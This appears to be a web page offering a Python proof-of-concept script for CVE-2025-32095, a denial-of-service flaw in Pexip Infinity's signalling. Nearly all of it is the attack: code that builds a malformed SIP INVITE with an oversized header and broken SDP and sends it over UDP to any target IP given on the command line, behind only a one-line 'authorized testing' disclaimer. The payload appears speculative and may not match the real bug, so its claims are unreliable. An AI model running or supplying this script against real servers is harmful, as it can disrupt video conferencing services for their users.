CVE-2025-32095: Pexip Infinity信号处理不当导致拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-32095 PoC - Pexip Infinity Signalling DoS This PoC demonstrates sending a malformed signalling message to trigger a software abort. Note: Use only for authorized security testing. """ import socket import struct import time def create_malformed_signalling_message(): """ Create a malformed signalling message that could trigger improper input validation in Pexip Infinity before version 37.0 """ # SIP-like malformed message targeting signalling component message = b"INVITE sip:[email protected] SIP/2.0\r\n" message += b"Via: SIP/2.0/UDP attacker.local;branch=z9hG4bK malformed\r\n" message += b"From: <sip:[email protected]>;tag=malformed_tag\r\n" message += b"To: <sip:[email protected]>\r\n" message += b"Call-ID: malformed_call_id_with_invalid_chars\r\n" message += b"CSeq: 1 INVITE\r\n" # Malformed header with excessive length or invalid characters message += b"X-Signalling-Data: " + b"A" * 10000 + b"\r\n" message += b"Content-Type: application/sdp\r\n" message += b"\r\n" # Malformed SDP with invalid attributes message += b"v=0\r\no=- malformed_session 12345 IN IP4 attacker.local\r\n" message += b"s=malformed\r\nc=IN IP4 attacker.local\r\n" message += b"t=0 0\r\n" message += b"m=video 0 RTP/AVP malformed\r\n" message += b"a=rtpmap:invalid payload_type\r\n" return message def send_exploit(target_ip, target_port=5060): """ Send the malformed signalling message to target """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) payload = create_malformed_signalling_message() print(f"[*] Sending malformed signalling message to {target_ip}:{target_port}") print(f"[*] Payload size: {len(payload)} bytes") try: sock.sendto(payload, (target_ip, target_port)) print("[+] Malformed message sent successfully") print("[+] If vulnerable, target should experience service disruption") except Exception as e: print(f"[-] Error sending payload: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2025-32095-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5060 send_exploit(target, port)